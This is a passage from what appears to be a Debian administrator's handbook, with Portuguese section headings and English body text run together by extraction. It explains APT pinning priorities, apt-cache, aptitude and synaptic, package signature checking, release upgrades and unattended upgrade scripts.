a configuration file which is split overmultiple files. In this sense, all of the filesin /etc/apt/apt.conf.d/ are instructionsfor the configuration of APT. APTincludes them in alphabetical order, sothat the last ones can modify aconfiguration element defined in one ofthe first ones.

This structure brings some flexibility tothe machine administrator and to thepackage maintainers. Indeed, theadministrator can easily modify theconfiguration of the software by adding aready-made file in the directory inquestion without having to change anexisting file. Package maintainers use thesame approach when they need to adaptthe configuration of another software toensure that it perfectly co-exists withtheirs. However, the Debian policy

explicitly forbids modifyingconfiguration files of other packages —only users are allowed to do this.Remember that during a package upgrade,the user gets to choose the version of theconfiguration file that should be keptwhen a modification has been detected.Any external modification of the filewould trigger that request, which woulddisturb the administrator, who is sure notto have changed anything.

Without a .d directory, it is impossible foran external package to change thesettings of a program without modifyingits configuration file. Instead it mustinvite the user to do it himself and liststhe operations to be done in the file/usr/share/doc/package/README.Debian.

Depending on the application, the .d

directory is used directly or managed byan external script which will concatenateall the files to create the configuration fileitself. It is important to execute the scriptafter any change in that directory so thatthe most recent modifications are takeninto account. In the same way, it isimportant not to work directly in theconfiguration file created automatically,since everything would be lost at the nextexecution of the script. Choosing onemethod (.d directory used directly or afile generated from that directory) isusually imposed by implementationconstraints, but in both cases the gains interms of configuration flexibility morethan make up for the small complicationsthat they entail. The Exim 4 mail server isan example of the generated file method:it can be configured through several files(/etc/exim4/conf.d/*) which are

concatenated into/var/lib/exim4/config.autogenerated

by the update-exim4.conf command.

6.2.5. Gerenciarprioridades de pacoteOne of the most important aspects inthe configuration of APT is themanagement of the prioritiesassociated with each package source.For instance, you might want to extendone distribution with one or two newerpackages from Testing, Unstable orExperimental. It is possible to assign apriority to each available package (the

same package can have severalpriorities depending on its version orthe distribution providing it). Thesepriorities will influence APT'sbehavior: for each package, it willalways select the version with thehighest priority (except if this versionis older than the installed one and if itspriority is less than 1000).

APT defines several default priorities.Each installed package version has apriority of 100. A non-installed versionhas a priority of 500 by default, but itcan jump to 990 if it is part of thetarget release (defined with the -tcommand-line option or theAPT::Target-Release configuration

directive).

Você pode modificar as prioridadesadicionando entradas no arquivo/etc/apt/preferences com os nomesdos pacotes afetados, sua versão, suaorigem e sua nova prioridade.

APT will never install an older versionof a package (that is, a package whoseversion number is lower than the one ofthe currently installed package) exceptif its priority is higher than 1000. APTwill always install the highest prioritypackage which follows this constraint.If two packages have the same priority,APT installs the newest one (whoseversion number is the highest). If two

packages of same version have thesame priority but differ in theircontent, APT installs the version that isnot installed (this rule has been createdto cover the case of a package updatewithout the increment of the revisionnumber, which is usually required).

In more concrete terms, a packagewhose priority is less than 0 will neverbe installed. A package with a priorityranging between 0 and 100 will only beinstalled if no other version of thepackage is already installed. With apriority between 100 and 500, thepackage will only be installed if thereis no other newer version installed oravailable in another distribution. A

package of priority between 500and 990 will only be installed if thereis no newer version installed oravailable in the target distribution.With a priority between 990 and 1000,the package will be installed except ifthe installed version is newer. Apriority greater than 1000 will alwayslead to the installation of the packageeven if it forces APT to downgrade toan older version.

When APT checks/etc/apt/preferences, it first takesinto account the most specific entries(often those specifying the concernedpackage), then the more generic ones(including for example all the packages

of a distribution). If several genericentries exist, the first match is used.The available selection criteria includethe package's name and the sourceproviding it. Every package source isidentified by the information containedin a Release file that APT downloadstogether with the Packages.gz files. Itspecifies the origin (usually “Debian”for the packages of official mirrors, butit can also be a person's or anorganization's name for third-partiesrepositories). It also gives the name ofthe distribution (usually Stable,Testing, Unstable or Experimental forthe standard distributions provided byDebian) together with its version (forexample 5.0 for Debian Lenny). Let's

have a look at its syntax through somerealistic case studies of thismechanism.

CASO ESPECÍFICO Prioridade doexperimental

If you listed Experimental in yoursources.list file, the correspondingpackages will almost never be installedbecause their default APT priority is 1.This is of course a specific case, designedto keep users from installingExperimental packages by mistake. Thepackages can only be installed by typingaptitude install package/experimental —users typing this command can only beaware of the risks that they take. It is stillpossible (though not recommended) totreat packages of Experimental like those

of other distributions by giving them apriority of 500. This is done with aspecific entry in /etc/apt/preferences:

Package: *

Pin: release a=experimental

Pin-Priority: 500

Vamos supor que você só quer usar ospacotes da versão estável do Debian.As previstas em outras versões nãodevem ser instaladas exceto seexplicitamente solicitado. Vocêpoderia escrever as seguintes entradasdo arquivo /etc/apt/preferences :

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable defines the name of theselected distribution. o=Debian limitsthe scope to packages whose origin is“Debian”.

Let's now assume that you have aserver with several local programsdepending on the version 5.10 of Perland that you want to ensure thatupgrades will not install anotherversion of it. You could use this entry:

Package: perl

Pin: version 5.10*

Pin-Priority: 1001

The reference documentation for this

configuration file is available in themanual page apt_preferences(5), whichyou can display with manapt_preferences.

DICA Comentários no/etc/apt/preferences

There is no official syntax to putcomments in the /etc/apt/preferencesfile, but some textual descriptions can beprovided by putting one or more“Explanation” fields at the start of eachentry:

Explanation: The package xserver-xorg-video-intel provided

Explanation: in experimental can be used safely

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. Trabalhandocom DistribuiçõesDiversasaptitude being such a marvelous tool,it is tempting to pick packages comingfrom other distributions. For example,after having installed a Stable system,you might want to try out a softwarepackage available in Testing orUnstable without diverging too muchfrom the system's initial state.

Even if you will occasionally encounterproblems while mixing packages from

different distributions, aptitudemanages such coexistence very welland limits risks very effectively. Thebest way to proceed is to list alldistributions used in/etc/apt/sources.list (somepeople always put the threedistributions, but remember thatUnstable is reserved for experiencedusers) and to define your referencedistribution with the APT::Default-Release parameter (see Section 6.2.3,“Atualização do sistema”).

Let's suppose that Stable is yourreference distribution but that Testingand Unstable are also listed in yoursources.list file. In this case, you

can use aptitude installpackage/testing to install a packagefrom Testing. If the installation failsdue to some unsatisfiabledependencies, let it solve thosedependencies within Testing by addingthe -t testing parameter. The sameobviously applies to Unstable.

In this situation, upgrades (safe-upgrade and dist-upgrade) are donewithin Stable except for packagesalready upgraded to an otherdistribution: those will follow updatesavailable in the other distributions.We'll explain this behavior with thehelp of the default priorities set byAPT below. Do not hesitate to use apt-

cache policy (see sidebar) to verify thegiven priorities.

Everything centers around the fact thatAPT only considers packages of higheror equal version than the installed one(assuming that/etc/apt/preferences has not beenused to force priorities higherthan 1000 for some packages).

DICA apt-cache policy

To gain a better understanding of themechanism of priority, do not hesitate toexecute apt-cache policy to display thedefault priority associated with eachpackage source. You can also use apt-cache policy package to display the

priorities of all available versions of agiven package.

Let's assume that you have installedversion 1 of a first package from Stableand that version 2 and 3 are availablerespectively in Testing and Unstable.The installed version has a priorityof 100 but the version available inStable (the very same) has a priorityof 990 (because it is part of the targetrelease). Packages in Testing andUnstable have a priority of 500 (thedefault priority of a non-installedversion). The winner is thus version 1with a priority of 990. The package“stays in Stable”.

Let's take the example of anotherpackage whose version 2 has beeninstalled from Testing. Version 1 isavailable in Stable and version 3 inUnstable. Version 1 (of priority 990 —thus lower than 1000) is discardedbecause it is lower than the installedversion. This only leaves version 2and 3, both of priority 500. Faced withthis alternative, APT selects the newestversion, the one from Unstable.If youdon't want a package installed fromTesting to migrate to Unstable, youhave to assign a priority lower than 500(490 for example) to packages comingfrom Unstable. You can modify/etc/apt/preferences to this effect:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.3. O Comandoapt-cacheThe apt-cache command can displaymuch of the information stored inAPT's internal database. Thisinformation is a sort of cache since it isgathered from the different sourceslisted in the sources.list file. Thishappens during the aptitude updateoperation.

VOCABULÁRIO Cache

A cache is a temporary storage systemused to speed up frequent data access

when the usual access method isexpensive (performance-wise). Thisconcept can be applied in numeroussituations and at different scales, from thecore of microprocessors up to high-endstorage systems.

In the case of APT, the reference Packagesfiles are those located on Debian mirrors.That said, it would be very ineffective togo through the network for every searchthat we might want to do in the databaseof available packages. That is why APTstores a copy of those files (in/var/lib/apt/lists/) and searches aredone within those local files. Similarly,/var/cache/apt/archives/ contains acache of already downloaded packages toavoid downloading them again if youneed to reinstall them after a removal.

The apt-cache command can dokeyword-based package searches withapt-cache search keyword. It can alsodisplay the headers of the package'savailable versions with apt-cacheshow package. This commandprovides the package's description, itsdependencies, the name of itsmaintainer, etc. Note that aptitudesearch and aptitude show work in thesame way.

Some features are more rarely used.For instance, apt-cache policy displaysthe priorities of package sources aswell as those of individual packages.Another example is apt-cachedumpavail which displays the headers

of all available versions of allpackages. apt-cache pkgnamesdisplays the list of all the packageswhich appear at least once in the cache.

6.4. Interfaces:aptitude, synapticAPT is a C++ program whose codemainly resides in the libapt-pkg sharedlibrary. Using a shared libraryfacilitates the creation of userinterfaces (front-ends), since the codecontained in the library can easily bereused. Historically, apt-get was onlydesigned as a test front-end for libapt-pkg but its success tends to obscurethis fact.

6.4.1. aptitude

aptitude is an interactive program thatcan be used in semi-graphical mode onthe console. You can browse the list ofinstalled and available packages, lookup all the available information, andselect packages to install or remove.The program is designed specifically tobe used by administrators, so that itsdefault behaviors are much moreintelligent than apt-get's, and itsinterface much easier to understand.

Figure 6.1. O gerenciador de pacotesaptitude

When it starts, aptitude shows a list ofpackages sorted by state (installed,non-installed, or installed but notavailable on the mirrors — othersections display tasks, virtualpackages, and new packages thatappeared recently on mirrors). To

facilitate thematic browsing, otherviews are available. In all cases,aptitude displays a list combiningcategories and packages on the screen.Categories are organized through a treestructure, whose branches canrespectively be unfolded or closed withthe Enter, [ and ] keys. + should beused to mark a package for installation,- to mark it for removal and _ to purgeit (note than these keys can also beused for categories, in which case thecorresponding actions will be appliedto all the packages of the category). uupdates the lists of available packagesand Shift+u prepares a global systemupgrade. g switches to a summary viewof the requested changes (and typing g

again will apply the changes), and qquits the current view. If you are in theinitial view, this will effectively closeaptitude.

DOCUMENTAÇÃO aptitude

This section does not cover the finerdetails of using aptitude, it rather focuseson giving you a survival kit to use it.aptitude is rather well documented andwe advise you to use its complete manualavailable in the aptitude-doc-en package.

→ file:///usr/share/doc/aptitude/html/en/index.html

To search for a package, you can type /followed by a search pattern. This

pattern matches the name of thepackage, but can also be applied to thedescription (if preceded by ~d), to thesection (with ~s) or to othercharacteristics detailed in thedocumentation. The same patterns canfilter the list of displayed packages:type the l key (as in limit) and enter thepattern.

6.4.1.1. Rastreando PacotesInstalados Automaticamente

One of the essential functionalities ofaptitude (which has also beenintegrated to apt-get since Lenny) isthe tracking of packages installed only

through dependencies. These packagesare called “automatic” and are taggedwith an “A” in the list of packages —they often include libraries forinstance. When a package is removed,the corresponding automatic packagesare also selected for removal unlessanother “manually installed” packagedepends on them. It is possible to marka package as automatic (with Shift+m)or to remove the mark (m key). Whenmaintaining a system with aptitude, itis a good habit to mark as automaticany package that you don't needdirectly so that they are automaticallyremoved when they aren't necessaryanymore. You can either navigate thelist of installed packages and play with

Shift+m, or apply the flag to entiresections (for example the libssection). This habit can help you tokeep your system tidy and offers asimple way to visualize the packages inuse on a machine, without all thelibraries and dependencies that youdon't really care about. The relatedpattern that can be used with l (toactivate the filter mode) is ~i!~M. Itspecifies that you only want to seeinstalled packages (~i) not marked asautomatic (!~M).

People might want to know why anautomatically installed package ispresent on the system. To get thisinformation from the command-line,

you can use aptitude why package:

$ aptitude why python-debian

i aptitude Recommends apt-xapian-index

i A apt-xapian-index Depends python-debian (>= 0.1.15)

VALE A PENA SEGUIR Evoluçõesrecentes apt-get e aptitude

Some of the advantages that aptitudehistorically had over apt-get haverecently disappeared. For instance, sincethe release of Lenny, apt-get memorizesthe packages that have been installedonly to satisfy dependencies, just likeaptitude has always done. It can alsofollow recommendations expressed byone package on another.

Among the recent evolutions of aptitude,a new version with a graphical interface is

currently being developed. Even if it'savailable in Squeeze (in the separateaptitude-gtk package), it's not completeyet and is subject to stability issues.

FERRAMENTA Usando aptitude nainterface de linha de comando

Most of aptitude's features are accessiblevia the interactive interface as well as viacommand-lines. These command-lineswill seem familiar to regular users of apt-get and apt-cache.

The advanced features of aptitude arealso available on the command-line. Youcan use the same package search patternsas in the interactive version. For example,if you want to run the previouslysuggested cleanup of “automatic”

packages, and if you know that none ofthe locally installed programs require anyparticular libraries or Perl modules, youcan mark the corresponding packages asautomatic with a single command:

# aptitude markauto '~slibs|~sperl'

Here, you can clearly see the power of thesearch pattern system of aptitude, whichenables the instant selection of all thepackages in the libs and perl sections.

Beware, if some packages are marked asautomatic and if no other packagedepends on them, they will be removedimmediately (after a confirmationrequest).

ALTERNATIVA deborphan e debfoster

Before aptitude came to life with itstracking of automatic packages, therewere two utilities producing lists ofunnecessary packages: deborphan anddebfoster.

deborphan is the most rudimentary ofboth. It simply scans the libs and oldlibssections (in the absence of supplementaryinstructions) looking for the packagesthat are currently installed and that noother packages depends on. The resultinglist can then serve as a basis to removeunneeded packages.

debfoster has a more elaborate approach,very similar to aptitude's: it maintains alist of packages that have been explicitlyinstalled, and remembers what packagesare really required between eachinvocation. If new packages appear on the

system and if debfoster doesn't knowthem as required packages, they will beshown on the screen together with a list oftheir dependencies. The program thenoffers a choice: remove the package(possibly together with those that dependon it), mark it as explicitly required, orignore it temporarily.

6.4.1.2. GerenciandoRecomendações, Sugestões eTarefas

Another interesting feature of aptitudeis the fact that it respectsrecommendations between packageswhile still giving users the choice not

to install them on a case by case basis.For example, the gnome-desktop-environment package recommendsgnome-accessibility (among others).When you select the former forinstallation, the latter will also beselected (and marked as automatic ifnot already installed on the system).Typing g will make it obvious: gnome-accessibility appears on the summaryscreen of pending actions in the list ofpackages installed automatically tosatisfy dependencies. However, youcan decide not to install it bydeselecting it before confirming theoperations.

Note that this recommendation

tracking feature does not apply toupgrades. For instance, if a new versionof gnome-desktop-environmentrecommends a package that it did notrecommend formerly, the packagewon't be marked for installation.However, it will be listed on theupgrade screen so that theadministrator can still select it forinstallation.

Suggestions between packages are alsotaken into account, but in a manneradapted to their specific status. Forexample, since gnome-desktop-environment suggests gnome-audio,the latter will be displayed on thesummary screen of pending actions (in

the section of packages suggested byother packages). This way, it is visibleand the administrator can decidewhether to take the suggestion intoaccount or not. Since it is only asuggestion and not a dependency or arecommendation, the package will notbe selected automatically — itsselection requires a manualintervention from the user (thus, thepackage will not be marked asautomatic).

In the same spirit, remember thataptitude makes intelligent use of theconcept of task. Since tasks aredisplayed as categories in the screensof package lists, you can either select a

full task for installation or removal, orbrowse the list of packages included inthe task to select a smaller subset.

6.4.1.3. Better SolverAlgorithms

To conclude this section, let's note thataptitude has more elaboratealgorithms compared to apt-get whenit comes to resolving difficultsituations. When a set of actions isrequested and when these combinedactions would lead to an incoherentsystem, aptitude evaluates severalpossible scenarios and presents them inorder of decreasing relevance.

However, these algorithms are notfailproof. Fortunately there is alwaysthe possibility to manually select theactions to perform. When the currentlyselected actions lead to contradictions,the upper part of the screen indicates anumber of “broken” packages (and youcan directly navigate to those packagesby pressing b). It is then possible tomanually build a solution for theproblems found. In particular, you canget access to the different availableversions by simply selecting thepackage with Enter. If the selection ofone of these versions solves theproblem, you should not hesitate to usethe function. When the number ofbroken packages gets down to zero, you

can safely go to the summary screen ofpending actions for a last check beforeyou apply them.

NOTA logs do aptitude

Like dpkg, aptitude keeps a trace ofexecuted actions in its logfile(/var/log/aptitude). However, sinceboth commands work at a very differentlevel, you cannot find the sameinformation in their respective logfiles.While dpkg logs all the operationsexecuted on individual packages step bystep, aptitude gives a broader view ofhigh-level operations like a system-wideupgrade.

Beware, this logfile only contains asummary of operations performed by

aptitude. If other front-ends (or evendpkg itself) are occasionally used, thenaptitude's log will only contain a partialview of the operations, so you can't relyon it to build a trustworthy history of thesystem.

6.4.2. synapticsynaptic is a graphical packagemanager for Debian which features aclean and efficient graphical interfacebased on GTK+/GNOME. Its manyready-to-use filters give fast access tonewly available packages, installedpackages, upgradable packages,obsolete packages and so on. If you

browse through these lists, you canselect the operations to be done on thepackages (install, upgrade, remove,purge); these operations are notperformed immediately, but put into atask list. A single click on a button thenvalidates the operations, and they areperformed in one go.

Figure 6.2. gerenciador de pacotessynaptic

6.5. VerificandoAutenticidade doPacoteSecurity is very important for FalcotCorp administrators. Accordingly, theyneed to ensure that they only installpackages which are guaranteed to comefrom Debian with no tampering on theway. A computer cracker could try toadd malicious code to an otherwiselegitimate package. Such a package, ifinstalled, could do anything the crackerdesigned it to do, including for instancedisclosing passwords or confidential

information. To circumvent this risk,Debian provides a tamper-proof seal toguarantee — at install time — that apackage really comes from its officialmaintainer and hasn't been modified bya third party.

The seal works with a chain ofcryptographical hashes and a signature.The signed file is the Release file,provided by the Debian mirrors. Itcontains a list of the Packages files(including their compressed forms,Packages.gz and Packages.bz2, andthe incremental versions), along withtheir MD5, SHA1 and SHA256 hashes,which ensures that the files haven'tbeen tampered with. These Packages

files contain a list of the Debianpackages available on the mirror, alongwith their hashes, which ensures in turnthat the contents of the packagesthemselves haven't been altered either.

The trusted keys are managed with theapt-key command found in the aptpackage. This program maintains akeyring of GnuPG public keys, whichare used to verify signatures in theRelease.gpg files available on themirrors. It can be used to add new keysmanually (when non-official mirrorsare needed). Generally however, onlythe official Debian keys are needed.These keys are automatically kept up-to-date by the debian-archive-keyring

package (which invokes apt-key whenit is installed or upgraded). However,the first installation of this particularpackage requires caution: even if thepackage is signed like any other, thesignature cannot be verified externally.Cautious administrators shouldtherefore check the fingerprints ofimported keys before trusting them toinstall new packages:

# apt-key fingerprint

/etc/apt/trusted.gpg

--------------------

pub 1024D/F42584E6 2008-04-06 [expires: 2012-05-15]

Key fingerprint = 7F5A 4445 4C72 4A65 CBCD 4FB1 4D27 0D06 F425 84E6

uid Lenny Stable Release Key <[email protected]>

pub 4096R/55BE302B 2009-01-27 [expires: 2012-12-31]

Key fingerprint = 150C 8614 919D 8446 E01E 83AF 9AA3 8DCD 55BE 302B

uid Debian Archive Automatic Signing Key (5.0/lenny) <[email protected]>

pub 2048R/6D849617 2009-01-24 [expires: 2013-01-23]

Key fingerprint = F6CF DE30 6133 3CE2 A43F DAF0 DFD9 9330 6D84 9617

uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny)

pub 4096R/B98321F9 2010-08-07 [expires: 2017-08-05]

Key fingerprint = 0E4E DE2C 7F3E 1FC0 D033 800E 6448 1591 B983 21F9

uid Squeeze Stable Release Key <[email protected]>

pub 4096R/473041FA 2010-08-27 [expires: 2018-03-05]

Key fingerprint = 9FED 2BCB DCD2 9CDF 7626 78CB AED4 B06F 4730 41FA

uid Debian Archive Automatic Signing Key (6.0/squeeze) <[email protected]>

NA PRÁTICA Adicionando chavesconfiáveis

When a third-party package source isadded to the sources.list file, APT needsto be told about the corresponding GPGtrusted key (otherwise it will keep

complaining that it can't ensure theauthenticity of the packages coming fromthat repository). The first step is of courseto get the public key. More often than not,the key will be provided as a small textfile, which we'll call key.asc in thefollowing examples.

To add the key to the trusted keyring, theadministrator can run apt-key add <key.asc. Another way is to use thesynaptic graphical interface: its“Authentication” tab in the Settings →Repositories menu gives the possibility ofimporting a key from the key.asc file.

For people who would want a dedicatedapplication and more details on thetrusted keys, it is possible to use gui-apt-key (in the package of the same name), asmall graphical user interface which

manages the trusted keyring.

Once the appropriate keys are in thekeyring, APT will check the signaturesbefore any risky operation, so thatfront-ends will display a warning ifasked to install a package whoseauthenticity can't be ascertained.

6.6. Atualizandode uma VersãoEstável para aPróximaOne of the best-known features ofDebian is its ability to upgrade aninstalled system from one stablerelease to the next: dist-upgrade — awell-known phrase — has largelycontributed to the project's reputation.With a few precautions, upgrading acomputer can take as little as a few, ora few dozen, minutes depending on the

download speed from the packagerepositories.

6.6.1. ProcedimentoRecomendadoSince Debian has quite some time toevolve in-between stable releases, youshould read the release notes beforeupgrading.

DE VOLTA AO BÁSICO Notas delançamento

The release notes for an operating system(and, more generally, for any software)are a document giving an overview of the

software, with some details concerningthe particularities of one version. Thesedocuments are generally short comparedto the complete documentation, and theyusually list the features which have beenintroduced since the previous version.They also give details on upgradingprocedures, warnings for users ofprevious versions, and sometimes errata.

Release notes are available online: therelease notes for the current stable releasehave a dedicated URL, while older releasenotes can be found with their codenames:

→ http://www.debian.org/releases/stable/releasenotes

→ http://www.debian.org/releases/lenny/releasenotes

In this section, we will focus on

upgrading a Lenny system to Squeeze.This is a major operation on a system;as such, it is never 100% risk-free, andshould not be attempted before allimportant data has been backed up.

Another good habit which makes theupgrade easier (and shorter) is to tidyyour installed packages and keep onlythe ones that are really needed. Helpfultools to do that include aptitude,deborphan and debfoster (seeSection 6.4.1, “aptitude”). Forexample, you can use the followingcommand:

# deborphan | xargs aptitude remove

Now for the upgrading itself. First, you

need to change the/etc/apt/sources.list file to tellAPT to get its packages from Squeezeinstead of Lenny. If the file onlycontains references to Stable ratherthan explicit codenames, the changeisn't even required, since Stable alwaysrefers to the latest released version ofDebian. In both cases, the database ofavailable packages must be refreshed(with the aptitude update command orthe refresh button in synaptic).

Once these new package sources areregistered, you need to upgrade theaptitude and apt packages; theirversions in Lenny have somelimitations that could compromise the

automatic upgrade.

Remember to upgrade (or install) themost essential packages listed below,otherwise you might find that yoursystem is unbootable:

the bootloader grub-pc or grub-legacy (sometimes lilo);the tools that build the initialramdisk (initrd): initramfs-tools;the standard library: libc6 or oneof its optimized variants such aslibc6-i686;the management system for devicefiles: udev;last but not least, the kernel:depending on the hardware, the

metapackages to use are linux-image-486, linux-image-686 orlinux-image-686-bigmem. Thesepackages will only work for thei386 architecture; owners ofcomputers based on differenthardware will use other packages,most likely linux-image-2.6-amd64 for AMD64 or linux-image-powerpc* for PowerPC.

Once these first steps are done, it istime to handle the upgrade itself, eitherwith aptitude or synaptic. You shouldcarefully check the suggested actionsbefore applying them: you might wantto add suggested packages or deselectpackages which are only recommended

and known not to be useful. In anycase, the front-end should come upwith a scenario ending in a coherentand up-to-date Squeeze system. Then,all you need is to do is wait while therequired packages are downloaded,answer the Debconf questions andpossibly those about locally modifiedconfiguration files, and sit back whileAPT does its magic.

6.6.2. Lidando comProblemas após umaAtualizaçãoIn spite of the Debian maintainers' best

efforts, a major system upgrade isn'talways as smooth as you could wish.New software versions may beincompatible with previous ones (forinstance, their default behavior or theirdata format may have changed). Also,some bugs may slip through the cracksdespite the testing phase which alwaysprecedes a Debian release.

To anticipate some of these problems,you can install the apt-listchangespackage, which displays informationabout possible problems at thebeginning of a package upgrade. Thisinformation is compiled by the packagemaintainers and put in/usr/share/doc/package/NEWS.Debian

files for the benefit of users. Reading

these files (possibly through apt-listchanges) should help you avoid badsurprises.

You might sometimes find that the newversion of a software doesn't work atall. This generally happens if theapplication isn't particularly popularand hasn't been tested enough; a last-minute update can also introduceregressions which are only found afterthe stable release. In both cases, thefirst thing to do is to have a look at thebug tracking system athttp://bugs.debian.org/package,and check whether the problem hasalready been reported. If it hasn't, youshould report it yourself with

reportbug. If it is already known, thebug report and the associated messagesare usually an excellent source ofinformation related to the bug:

sometimes a patch already exists,and it is available on the bugreport; you can then recompile afixed version of the brokenpackage locally (see Section 15.1,“Reconstruindo um Pacote a partirde suas Fontes”);in other cases, users may havefound a workaround for theproblem and shared their insightsabout it in their replies to thereport;in yet other cases, a fixed package

may have already been preparedand made public by themaintainer.

Depending on the severity of the bug, anew version of the package may beprepared specifically for a new revisionof the stable release. When thishappens, the fixed package is madeavailable in the proposed-updatessection of the Debian mirrors (seeSection 6.1.1.1, “atualizações daStable”). The corresponding entry canthen be temporarily added to thesources.list file, and updatedpackages can be installed with apt-getor aptitude.

Sometimes the fixed package isn'tavailable in this section yet because itis pending a validation by the StableRelease Managers. You can verify ifthat's the case on their web page.Packages listed there aren't availableyet, but at least you know that thepublication process is ongoing.

→ http://release.debian.org/proposed-updates/stable.html

6.7. Mantendo umSistemaAtualizadoThe Debian distribution is dynamic andchanges continually. Most of thechanges are in the Testing and Unstableversions, but even Stable is updatedfrom time to time, mostly for security-related fixes. Whatever version ofDebian a system runs, it is generally agood idea to keep it up to date, so thatyou can get the benefit of recentevolutions and bug fixes.

While it is of course possible toperiodically run a tool to check foravailable updates and run the upgrades,such a repetitive task is tedious,especially when it needs to beperformed on several machines.Fortunately, like many repetitive tasks,it can be partly automated, and a set oftools have already been developed tothat effect.

The first of these tools is apticron, inthe package of the same name. Its maineffect is to run a script daily (via cron).The script updates the list of availablepackages, and, if some installedpackages are not in the latest availableversion, it sends an email with a list of

these packages along with the changesthat have been made in the newversions. Obviously, this packagemostly targets users of Debian Stable,since the daily emails would be verylong for the more mobile versions ofDebian. When updates are available,apticron automatically downloadsthem. It does not install them — theadministrator will still do it — buthaving the packages alreadydownloaded and available locally (inAPT's cache) makes the job faster.

Administrators in charge of severalcomputers will no doubt appreciatebeing informed of pending upgrades,but the upgrades themselves are still as

tedious as they used to be, which iswhere the /etc/cron.daily/aptscript (in the apt package) comes inhandy. This script is also run daily (andnon-interactively) by cron. To controlits behavior, use APT configurationvariables (which are therefore stored ina file under /etc/apt/apt.conf.d/).The main three variables are:

APT::Periodic::Update-Package-

Lists

This option allows you to specifythe frequency (in days) at whichthe package lists are refreshed.apticron users can do without thisvariable, since apticron alreadydoes this task.

APT::Periodic::Download-

Upgradeable-Packages

Again, this option indicates afrequency (in days), this time forthe downloading of the actualpackages. Again, apticron userswon't need it.

APT::Periodic::AutocleanInterval

This last option covers a featurethat apticron doesn't have. Itcontrols how often obsoletepackages (those not referenced byany distribution anymore) areremoved from the APT cache.This keeps the APT cache at areasonable size and means that

you don't need to worry about thattask.

Other options can allow you to controlthe cache cleaning behavior with moreprecision. They are not listed here, butthey are described in the/etc/cron.daily/apt script.

These tools work very well for servers,but desktop users generally prefer amore interactive system. That is whythe “Graphical desktop environment”task installs update-notifier andupdate-manager. The former displaysan icon in the notification area ofdesktop environments when updatesare available; clicking on this icon then

runs update-manager, a simplifiedinterface to perform updates. You canbrowse through available updates, readthe description of the relevant packagesand their changelog, and selectwhether to apply the update or not on acase-by-case basis. Note that thesepackages contain configuration data for/etc/cron.daily/apt so that itrefreshes the lists of available packagesand downloads the relevant ones. Theupdate-notifier/update-managercombination is far from having asmany features as aptitude andsynaptic, since it only handles theupgrades of packages which are alreadyinstalled; as a consequence, itsminimalistic interface leaves little

room for mistakes, and therefore littlerisk of breaking the system.

Figure 6.3. Atualizando com update-manager

6.8. AtualizaçõesAutomáticasSince Falcot Corp has many computersbut only limited manpower, itsadministrators try to make upgrades asautomatic as possible. The programs incharge of these processes musttherefore run with no humanintervention.

6.8.1. Configurandodpkg

As we have already mentioned (seesidebar INDO ALÉM Evitando asperguntas do arquivo de configuração),dpkg can be instructed not to ask forconfirmation when replacing aconfiguration file (with the --force-confdef --force-confold options).Interactions can, however, have threeother sources: some come from APTitself, some are handled by debconf,and some happen on the command linedue to package configuration scripts.

6.8.2. ConfigurandoAPT

The case of APT is simple: the -yoption (or --assume-yes) tells APT toconsider the answer to all its questionsto be “yes”.

6.8.3. ConfigurandodebconfThe case of debconf deserves moredetails. This program was, from itsinception, designed to control therelevance and volume of questionsdisplayed to the user, as well as theway they are shown. That is why itsconfiguration requests a minimalpriority for questions; only questions

above the minimal priority aredisplayed. debconf assumes the defaultanswer (defined by the packagemaintainer) for questions which itdecided to skip.

The other relevant configurationelement is the interface used by thefront-end. If you choosenoninteractive out of the choices, alluser interaction is disabled. If apackage tries to display an informativenote, it will be sent to the administratorby email.

To reconfigure debconf, use the dpkg-reconfigure tool from the debconfpackage; the relevant command is

dpkg-reconfigure debconf. Note thatthe configured values can betemporarily overridden withenvironment variables when needed(for instance, DEBIAN_FRONTENDcontrols the interface, as documentedin the debconf(7) manual page).

6.8.4. Lidando comInterações Via Linhade ComandoThe last source of interactions, and thehardest to get rid of, is theconfiguration scripts run by dpkg.There is unfortunately no standard

solution, and no answer isoverwhelmingly better than another.

The common approach is to suppressthe standard input by redirecting theempty content of /dev/null into itwith command </dev/null, or to feed itwith an endless stream of newlines.None of these methods are 100 %reliable, but they generally lead to thedefault answers being used, since mostscripts consider a lack of reply as anacceptance of the default value.

6.8.5. A CombinaçãoMiraculosa

By combining the previous elements, itis possible to design a small but ratherreliable script which can handleautomatic upgrades.

Example 6.3. Roteiro de atualizaçãonão interativaexport DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

NÁ PRÁTICA O caso Falcot Corp

Falcot computers are a heterogeneoussystem, with machines having variousfunctions. Administrators will thereforepick the most relevant solution for eachcomputer.

In practice, the servers running Squeezeare configured with the “miracle

combination” above, and are kept up todate automatically. Only the most criticalservers (the firewalls, for instances) areset up with apticron, so that upgradesalways happen under the supervision ofan administrator.

The office workstations in theadministrative services also run Squeeze,but they are configured with the update-notifier/update-manager combination,so that users trigger the upgradesthemselves. The rationale for thisdecision is that if upgrades happenwithout an explicit action, the behavior ofthe computer might change unexpectedly,which could cause confusion for the mainusers.

In the lab, the few computers usingTesting — to take advantage of the latest

software versions — are not upgradedautomatically either. Administrators onlyconfigure APT to prepare the upgradesbut not enact them; when they decide toupgrade (manually), the tedious parts ofrefreshing package lists and downloadingpackages will be avoided, andadministrators can focus on the reallyuseful part.

6.9. Buscando porPacotesWith the large and ever-growingamount of software in Debian, thereemerges a paradox: Debian usually hasa tool for most tasks, but that tool canbe very difficult to find amongst themyriad other packages. The lack ofappropriate ways to search for (and tofind) the right tool has long been aproblem. Fortunately, this problem hasalmost entirely been solved.

The most trivial search possible islooking up an exact package name. If

apt-cache show package returns aresult, then the package exists.Unfortunately, this requires knowing oreven guessing the package name, whichisn't always possible.

DICA Convenções de nomes de pacote

Some categories of packages are namedaccording to a conventional namingscheme; knowing the scheme cansometimes allow you to guess exactpackage names. For instance, for Perlmodules, the convention says that amodule called XML::Handler::Composerupstream should be packaged as libxml-handler-composer-perl. The libraryenabling the use of the gconf system fromPython is packaged as python-gconf. It isunfortunately not possible to define a

fully general naming scheme for allpackages, even though packagemaintainers usually try to follow thechoice of the upstream developers.

